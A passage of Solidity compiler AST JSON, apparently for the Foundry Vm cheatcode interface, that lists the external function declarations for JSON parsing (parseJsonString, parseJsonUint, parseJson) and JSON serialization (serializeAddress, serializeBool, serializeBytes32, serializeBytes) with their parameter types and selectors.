`string`."},"functionSelector":"49c4fac8","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonString","nameLocation":"28624:15:13","parameters":{"id":13029,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13026,"mutability":"mutable","name":"json","nameLocation":"28656:4:13","nodeType":"VariableDeclaration","scope":13033,"src":"28640:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13025,"name":"string","nodeType":"ElementaryTypeName","src":"28640:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13028,"mutability":"mutable","name":"key","nameLocation":"28678:3:13","nodeType":"VariableDeclaration","scope":13033,"src":"28662:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13027,"name":"string","nodeType":"ElementaryTypeName","src":"28662:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28639:43:13"},"returnParameters":{"id":13032,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13031,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13033,"src":"28706:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13030,"name":"string","nodeType":"ElementaryTypeName","src":"28706:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28705:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13044,"nodeType":"FunctionDefinition","src":"28803:113:13","nodes":[],"documentation":{"id":13034,"nodeType":"StructuredDocumentation","src":"28727:71:13","text":"Parses a string of JSON data at `key` and coerces it to `string[]`."},"functionSelector":"498fdcf4","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonStringArray","nameLocation":"28812:20:13","parameters":{"id":13039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13036,"mutability":"mutable","name":"json","nameLocation":"28849:4:13","nodeType":"VariableDeclaration","scope":13044,"src":"28833:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13035,"name":"string","nodeType":"ElementaryTypeName","src":"28833:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13038,"mutability":"mutable","name":"key","nameLocation":"28871:3:13","nodeType":"VariableDeclaration","scope":13044,"src":"28855:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13037,"name":"string","nodeType":"ElementaryTypeName","src":"28855:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28832:43:13"},"returnParameters":{"id":13043,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13042,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13044,"src":"28899:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13040,"name":"string","nodeType":"ElementaryTypeName","src":"28899:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13041,"nodeType":"ArrayTypeName","src":"28899:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"28898:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13054,"nodeType":"FunctionDefinition","src":"28997:98:13","nodes":[],"documentation":{"id":13045,"nodeType":"StructuredDocumentation","src":"28922:70:13","text":"Parses a string of JSON data at `key` and coerces it to `uint256`."},"functionSelector":"addde2b6","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonUint","nameLocation":"29006:13:13","parameters":{"id":13050,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13047,"mutability":"mutable","name":"json","nameLocation":"29036:4:13","nodeType":"VariableDeclaration","scope":13054,"src":"29020:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13046,"name":"string","nodeType":"ElementaryTypeName","src":"29020:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13049,"mutability":"mutable","name":"key","nameLocation":"29058:3:13","nodeType":"VariableDeclaration","scope":13054,"src":"29042:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13048,"name":"string","nodeType":"ElementaryTypeName","src":"29042:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29019:43:13"},"returnParameters":{"id":13053,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13052,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13054,"src":"29086:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13051,"name":"uint256","nodeType":"ElementaryTypeName","src":"29086:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29085:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13065,"nodeType":"FunctionDefinition","src":"29178:112:13","nodes":[],"documentation":{"id":13055,"nodeType":"StructuredDocumentation","src":"29101:72:13","text":"Parses a string of JSON data at `key` and coerces it to `uint256[]`."},"functionSelector":"522074ab","implemented":false,"kind":"function","modifiers":[],"name":"parseJsonUintArray","nameLocation":"29187:18:13","parameters":{"id":13060,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13057,"mutability":"mutable","name":"json","nameLocation":"29222:4:13","nodeType":"VariableDeclaration","scope":13065,"src":"29206:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13056,"name":"string","nodeType":"ElementaryTypeName","src":"29206:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13059,"mutability":"mutable","name":"key","nameLocation":"29244:3:13","nodeType":"VariableDeclaration","scope":13065,"src":"29228:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13058,"name":"string","nodeType":"ElementaryTypeName","src":"29228:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29205:43:13"},"returnParameters":{"id":13064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13063,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":13065,"src":"29272:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13061,"name":"uint256","nodeType":"ElementaryTypeName","src":"29272:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13062,"nodeType":"ArrayTypeName","src":"29272:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"29271:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13073,"nodeType":"FunctionDefinition","src":"29331:93:13","nodes":[],"documentation":{"id":13066,"nodeType":"StructuredDocumentation","src":"29296:30:13","text":"ABI-encodes a JSON object."},"functionSelector":"6a82600a","implemented":false,"kind":"function","modifiers":[],"name":"parseJson","nameLocation":"29340:9:13","parameters":{"id":13069,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13068,"mutability":"mutable","name":"json","nameLocation":"29366:4:13","nodeType":"VariableDeclaration","scope":13073,"src":"29350:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13067,"name":"string","nodeType":"ElementaryTypeName","src":"29350:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29349:22:13"},"returnParameters":{"id":13072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13071,"mutability":"mutable","name":"abiEncodedData","nameLocation":"29408:14:13","nodeType":"VariableDeclaration","scope":13073,"src":"29395:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":13070,"name":"bytes","nodeType":"ElementaryTypeName","src":"29395:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"29394:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13083,"nodeType":"FunctionDefinition","src":"29474:114:13","nodes":[],"documentation":{"id":13074,"nodeType":"StructuredDocumentation","src":"29430:39:13","text":"ABI-encodes a JSON object at `key`."},"functionSelector":"85940ef1","implemented":false,"kind":"function","modifiers":[],"name":"parseJson","nameLocation":"29483:9:13","parameters":{"id":13079,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13076,"mutability":"mutable","name":"json","nameLocation":"29509:4:13","nodeType":"VariableDeclaration","scope":13083,"src":"29493:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13075,"name":"string","nodeType":"ElementaryTypeName","src":"29493:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13078,"mutability":"mutable","name":"key","nameLocation":"29531:3:13","nodeType":"VariableDeclaration","scope":13083,"src":"29515:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13077,"name":"string","nodeType":"ElementaryTypeName","src":"29515:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29492:43:13"},"returnParameters":{"id":13082,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13081,"mutability":"mutable","name":"abiEncodedData","nameLocation":"29572:14:13","nodeType":"VariableDeclaration","scope":13083,"src":"29559:27:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":13080,"name":"bytes","nodeType":"ElementaryTypeName","src":"29559:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"29558:29:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13095,"nodeType":"FunctionDefinition","src":"29623:148:13","nodes":[],"documentation":{"id":13084,"nodeType":"StructuredDocumentation","src":"29594:24:13","text":"See `serializeJson`."},"functionSelector":"972c6062","implemented":false,"kind":"function","modifiers":[],"name":"serializeAddress","nameLocation":"29632:16:13","parameters":{"id":13091,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13086,"mutability":"mutable","name":"objectKey","nameLocation":"29665:9:13","nodeType":"VariableDeclaration","scope":13095,"src":"29649:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13085,"name":"string","nodeType":"ElementaryTypeName","src":"29649:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13088,"mutability":"mutable","name":"valueKey","nameLocation":"29692:8:13","nodeType":"VariableDeclaration","scope":13095,"src":"29676:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13087,"name":"string","nodeType":"ElementaryTypeName","src":"29676:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13090,"mutability":"mutable","name":"value","nameLocation":"29710:5:13","nodeType":"VariableDeclaration","scope":13095,"src":"29702:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13089,"name":"address","nodeType":"ElementaryTypeName","src":"29702:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"29648:68:13"},"returnParameters":{"id":13094,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13093,"mutability":"mutable","name":"json","nameLocation":"29765:4:13","nodeType":"VariableDeclaration","scope":13095,"src":"29751:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13092,"name":"string","nodeType":"ElementaryTypeName","src":"29751:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29750:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13108,"nodeType":"FunctionDefinition","src":"29806:160:13","nodes":[],"documentation":{"id":13096,"nodeType":"StructuredDocumentation","src":"29777:24:13","text":"See `serializeJson`."},"functionSelector":"1e356e1a","implemented":false,"kind":"function","modifiers":[],"name":"serializeAddress","nameLocation":"29815:16:13","parameters":{"id":13104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13098,"mutability":"mutable","name":"objectKey","nameLocation":"29848:9:13","nodeType":"VariableDeclaration","scope":13108,"src":"29832:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13097,"name":"string","nodeType":"ElementaryTypeName","src":"29832:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13100,"mutability":"mutable","name":"valueKey","nameLocation":"29875:8:13","nodeType":"VariableDeclaration","scope":13108,"src":"29859:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13099,"name":"string","nodeType":"ElementaryTypeName","src":"29859:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13103,"mutability":"mutable","name":"values","nameLocation":"29904:6:13","nodeType":"VariableDeclaration","scope":13108,"src":"29885:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":13101,"name":"address","nodeType":"ElementaryTypeName","src":"29885:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":13102,"nodeType":"ArrayTypeName","src":"29885:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"29831:80:13"},"returnParameters":{"id":13107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13106,"mutability":"mutable","name":"json","nameLocation":"29960:4:13","nodeType":"VariableDeclaration","scope":13108,"src":"29946:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13105,"name":"string","nodeType":"ElementaryTypeName","src":"29946:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"29945:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13120,"nodeType":"FunctionDefinition","src":"30001:142:13","nodes":[],"documentation":{"id":13109,"nodeType":"StructuredDocumentation","src":"29972:24:13","text":"See `serializeJson`."},"functionSelector":"ac22e971","implemented":false,"kind":"function","modifiers":[],"name":"serializeBool","nameLocation":"30010:13:13","parameters":{"id":13116,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13111,"mutability":"mutable","name":"objectKey","nameLocation":"30040:9:13","nodeType":"VariableDeclaration","scope":13120,"src":"30024:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13110,"name":"string","nodeType":"ElementaryTypeName","src":"30024:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13113,"mutability":"mutable","name":"valueKey","nameLocation":"30067:8:13","nodeType":"VariableDeclaration","scope":13120,"src":"30051:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13112,"name":"string","nodeType":"ElementaryTypeName","src":"30051:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13115,"mutability":"mutable","name":"value","nameLocation":"30082:5:13","nodeType":"VariableDeclaration","scope":13120,"src":"30077:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13114,"name":"bool","nodeType":"ElementaryTypeName","src":"30077:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"30023:65:13"},"returnParameters":{"id":13119,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13118,"mutability":"mutable","name":"json","nameLocation":"30137:4:13","nodeType":"VariableDeclaration","scope":13120,"src":"30123:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13117,"name":"string","nodeType":"ElementaryTypeName","src":"30123:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30122:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13133,"nodeType":"FunctionDefinition","src":"30178:154:13","nodes":[],"documentation":{"id":13121,"nodeType":"StructuredDocumentation","src":"30149:24:13","text":"See `serializeJson`."},"functionSelector":"92925aa1","implemented":false,"kind":"function","modifiers":[],"name":"serializeBool","nameLocation":"30187:13:13","parameters":{"id":13129,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13123,"mutability":"mutable","name":"objectKey","nameLocation":"30217:9:13","nodeType":"VariableDeclaration","scope":13133,"src":"30201:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13122,"name":"string","nodeType":"ElementaryTypeName","src":"30201:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13125,"mutability":"mutable","name":"valueKey","nameLocation":"30244:8:13","nodeType":"VariableDeclaration","scope":13133,"src":"30228:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13124,"name":"string","nodeType":"ElementaryTypeName","src":"30228:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13128,"mutability":"mutable","name":"values","nameLocation":"30270:6:13","nodeType":"VariableDeclaration","scope":13133,"src":"30254:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_calldata_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":13126,"name":"bool","nodeType":"ElementaryTypeName","src":"30254:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":13127,"nodeType":"ArrayTypeName","src":"30254:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"30200:77:13"},"returnParameters":{"id":13132,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13131,"mutability":"mutable","name":"json","nameLocation":"30326:4:13","nodeType":"VariableDeclaration","scope":13133,"src":"30312:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13130,"name":"string","nodeType":"ElementaryTypeName","src":"30312:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30311:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13145,"nodeType":"FunctionDefinition","src":"30367:148:13","nodes":[],"documentation":{"id":13134,"nodeType":"StructuredDocumentation","src":"30338:24:13","text":"See `serializeJson`."},"functionSelector":"2d812b44","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes32","nameLocation":"30376:16:13","parameters":{"id":13141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13136,"mutability":"mutable","name":"objectKey","nameLocation":"30409:9:13","nodeType":"VariableDeclaration","scope":13145,"src":"30393:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13135,"name":"string","nodeType":"ElementaryTypeName","src":"30393:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13138,"mutability":"mutable","name":"valueKey","nameLocation":"30436:8:13","nodeType":"VariableDeclaration","scope":13145,"src":"30420:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13137,"name":"string","nodeType":"ElementaryTypeName","src":"30420:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13140,"mutability":"mutable","name":"value","nameLocation":"30454:5:13","nodeType":"VariableDeclaration","scope":13145,"src":"30446:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30446:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"30392:68:13"},"returnParameters":{"id":13144,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13143,"mutability":"mutable","name":"json","nameLocation":"30509:4:13","nodeType":"VariableDeclaration","scope":13145,"src":"30495:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13142,"name":"string","nodeType":"ElementaryTypeName","src":"30495:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30494:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13158,"nodeType":"FunctionDefinition","src":"30550:160:13","nodes":[],"documentation":{"id":13146,"nodeType":"StructuredDocumentation","src":"30521:24:13","text":"See `serializeJson`."},"functionSelector":"201e43e2","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes32","nameLocation":"30559:16:13","parameters":{"id":13154,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13148,"mutability":"mutable","name":"objectKey","nameLocation":"30592:9:13","nodeType":"VariableDeclaration","scope":13158,"src":"30576:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13147,"name":"string","nodeType":"ElementaryTypeName","src":"30576:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13150,"mutability":"mutable","name":"valueKey","nameLocation":"30619:8:13","nodeType":"VariableDeclaration","scope":13158,"src":"30603:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13149,"name":"string","nodeType":"ElementaryTypeName","src":"30603:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13153,"mutability":"mutable","name":"values","nameLocation":"30648:6:13","nodeType":"VariableDeclaration","scope":13158,"src":"30629:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":13151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"30629:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":13152,"nodeType":"ArrayTypeName","src":"30629:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"30575:80:13"},"returnParameters":{"id":13157,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13156,"mutability":"mutable","name":"json","nameLocation":"30704:4:13","nodeType":"VariableDeclaration","scope":13158,"src":"30690:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13155,"name":"string","nodeType":"ElementaryTypeName","src":"30690:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30689:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13170,"nodeType":"FunctionDefinition","src":"30745:153:13","nodes":[],"documentation":{"id":13159,"nodeType":"StructuredDocumentation","src":"30716:24:13","text":"See `serializeJson`."},"functionSelector":"f21d52c7","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes","nameLocation":"30754:14:13","parameters":{"id":13166,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13161,"mutability":"mutable","name":"objectKey","nameLocation":"30785:9:13","nodeType":"VariableDeclaration","scope":13170,"src":"30769:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13160,"name":"string","nodeType":"ElementaryTypeName","src":"30769:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13163,"mutability":"mutable","name":"valueKey","nameLocation":"30812:8:13","nodeType":"VariableDeclaration","scope":13170,"src":"30796:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13162,"name":"string","nodeType":"ElementaryTypeName","src":"30796:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13165,"mutability":"mutable","name":"value","nameLocation":"30837:5:13","nodeType":"VariableDeclaration","scope":13170,"src":"30822:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":13164,"name":"bytes","nodeType":"ElementaryTypeName","src":"30822:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"30768:75:13"},"returnParameters":{"id":13169,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13168,"mutability":"mutable","name":"json","nameLocation":"30892:4:13","nodeType":"VariableDeclaration","scope":13170,"src":"30878:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13167,"name":"string","nodeType":"ElementaryTypeName","src":"30878:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30877:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13183,"nodeType":"FunctionDefinition","src":"30933:156:13","nodes":[],"documentation":{"id":13171,"nodeType":"StructuredDocumentation","src":"30904:24:13","text":"See `serializeJson`."},"functionSelector":"9884b232","implemented":false,"kind":"function","modifiers":[],"name":"serializeBytes","nameLocation":"30942:14:13","parameters":{"id":13179,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13173,"mutability":"mutable","name":"objectKey","nameLocation":"30973:9:13","nodeType":"VariableDeclaration","scope":13183,"src":"30957:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13172,"name":"string","nodeType":"ElementaryTypeName","src":"30957:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13175,"mutability":"mutable","name":"valueKey","nameLocation":"31000:8:13","nodeType":"VariableDeclaration","scope":13183,"src":"30984:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13174,"name":"string","nodeType":"ElementaryTypeName","src":"30984:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13178,"mutability":"mutable","name":"values","nameLocation":"31027:6:13","nodeType":"VariableDeclaration","scope":13183,"src":"31010:23:13","stateVariable":false,"storageLocation":"calldata","typeDe